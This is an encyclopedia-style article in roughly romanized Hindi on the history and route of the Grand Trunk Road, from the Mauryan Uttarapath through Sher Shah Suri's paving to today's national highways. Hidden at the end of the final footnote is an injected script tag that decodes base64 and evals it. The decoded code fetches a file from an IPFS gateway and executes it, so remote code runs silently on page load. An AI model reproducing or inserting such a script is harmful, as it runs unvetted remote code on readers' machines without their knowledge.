ग्रैण्ड ट्रंक रोड
thumb|300px|graind trank rod
Grand Trunk Road
graind trank rod (aangrezi: Grand Trunk Road) yah marg purane samay mean 's dak-e-azam' kahalata tha, ajakal is s dak ko 'The Grand Trunk Road / graiand trank rod / ji. ti. rod' ke nam se jana jata hai. is s dak ko 's dake-e-azam' ya 'badashahi s dak' ke nam se bhi jana jata hai, dakshin eshiya ki sabase purani aur mukhy s dak hai. yah kee sadiyoan se bharatiy upamahadvip ke poorvi aur pashchimi kshetroan ko jo dane mean mahattvapoorn bhoomika nibha rahi hai. yah s dak baangladesh, poore uttar bharat aur pakistan ke peshavar se hoti huee afaganistan ke qabul tak jati hai.
itihas
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graind trank rod ka itihas bahut purana hai. prachin kal mean ise uttarapath kaha jata tha. yah ganga ke kinare base nagaroan ko, panjab se jo date hue, khaibar darra par karati huee afaganistan ke keandr tak jati thi. mauryakal mean bauddh dharm ka prasar isi uttarapath ke madhyam se gandhar tak hua.
hal ke shodh se pata chalata hai ki maury samratoan ke samay mean tisari shatabdi ee.poo. mean, bharat aur pashchimi eshiya ke kee bhagoan ke bich thal vyapar ke lie takshashila (vartaman pakistan) se hote hue yoonan ke uttar pashchimi nagaroan tak chali gayi hai. takshashila maury kal mean lagabhag sabhi bhagoan se sambaddh tha. mauryoan ne takshashila se pataliputr [1] tak rajamarg banavaya tha. maigasthaniz ke anusar chandragupt maury ki sena is rajamarg ki dekhabhal karati thi. maigasthaniz lagabhag 15 varsh tak maury darabar mean raha tha. yah marg sadiyoan tak prayog hota raha. [[chitr:Kos-Minar-.jpg|thumb|kos minar]] solahavian shatabdi mean dilli ke sultan sherashah soori ne ise pakka karavaya. sherashah soori pahala badashah tha, jisane bangal ke sonagaanv se siandh praant tak do hazar mil lambi pakki s dak banavaee thi. is s dak par ghu dasavaroan dvara dak lane le jane ki vyavastha thi. yah marg us samay 's dak-e-azam' kahalata tha. bangal se peshavar tak ki yah s dak 500 kos[2] ya 2500 kilomitar lambi thi. sherashah ne 1542 ee. mean isaka nirman karaya tha. doori napane ke lie jagah-jagah patthar lagavae, chhayadar vriksh lagavae, rahagiroan ke lie sarayean banavaeean aur chuangi ki vyavastha ki. graind trank rod kolakata se peshavar[3] tak lanbi hai.
jab s dakoan ki bat hoti hai to bharat mean sherashah soori ka nam avashy liya jata hai. graiand trank rod ka nirman ek aisa yogadan tha jisane bharat ke itihas mean ek sunahara panna jo d diya. mugaloan ne aur phir aangrezoan ne bahut kuchh badala lekin sherashah soori ka yogadan atal raha.
kaha jata hai ki graiand trank rod ke nirman ke lie sherashah soori ne itana pukhta bhoovaijnanik sarvekshan karavaya tha ki usake bad ke kisi shasak ko graiand trank rod ke alava aur koee vikalp nahian dikhayi diya aur usaka bahut b da bhag sadiyoan ke bad aj bhi upayog mean a raha hai. usaka adhunik nam neshanal haive-2 ya enech-2 hai. [[chitr:Grand-Trunk-Road-Route.png|thumb|350px|left|graind trank rod marg qabul se kolakata tak]] sherashah soori ne bangal ke sonagaanv se siandh praant tak do hazar mil lanbi pakki s dak banavaee thi, taki yatayat ki uttam vyavastha ho sake. sath hi usane yatriyoan evan vyapariyoan ki suraksha ka bhi santoshajanak prabandh kiya. graiand trank rod ka nirman karavana sherashah soori ke vilakshan soch ka pratik hai. yah s dak sadiyoan se vikas mean aham bhoomika nibha rahi hai. usane s dakoan par mil ke patthar lagavae. usane dak vyavastha ko durust kiya evan ghu dasavaroan dvara dak ko lane−le−jane ki vyavastha ki. usake pharaman pharasi ke sath nagari aksharoan mean bhi hote the.[4]
marg
aj graiand trank rod 2,500 kilomitar (lagabhag 1,600mil) se adhik ki doori tak hai. isaka prarambh dakshin bangal ke chatagaanv se hai. madhy bangal ke sonaragaanv se hote hue yah bharat mean pravesh karati hai aur kolakata, bardhaman, durgapur, asanasol, dhanabad, aurangabad, dehari, sasaram, mohaniya, mugalasaray, varanasi, ilahabad, kanapur, eta, agara, mathura, dilli, karanal, ambala, ludhiyana, jalandhar, amritasar hote hue jati hai. isaka mukhy vyast bhag dilli aur kolakata ke bich hai. yahaan par yah NH-2 (rashtriy rajamarg-2) ke nam se jani jati hai aur dilli - vagha bardar ke bich yah NH-1(rashtriy rajamarg 1) ke nam se jana jata hai.
pakistan sima se graiand trank rod N-5 lahaur, gujaraanvala, gujarat, jhelam, ravalapiandi atok zile se hote hue peshavar tak jati hai. isake bad yah afaganistan mean pravesh karati hai aur pashchim mean jalalabad se hokar qabul mean khatm ho jati hai. vartaman mean graiand trank rod ka yah bhag afaganistan mean jalalabad- kabul rod ke nam se jana jata hai.
adhunik roop
graiand trank rod bharat aur paqistan ke mukhy nagaroan ko jo dati hai. bharatiy graiand trank rod bhag mahatvakaankshi svarnim chaturbhuj pariyojana ka bhag hai.
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tika tippani aur sandarbh
- ↑ jo vartaman mean bihar rajy mean patana hai
- ↑ shuddh= krosh
- ↑ pakistan
- ↑ sherashah soori : ek mahanh rashtr nirmata (hindi) (echatiemel) hindi sa apana koee. abhigaman tithi: 28 march, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>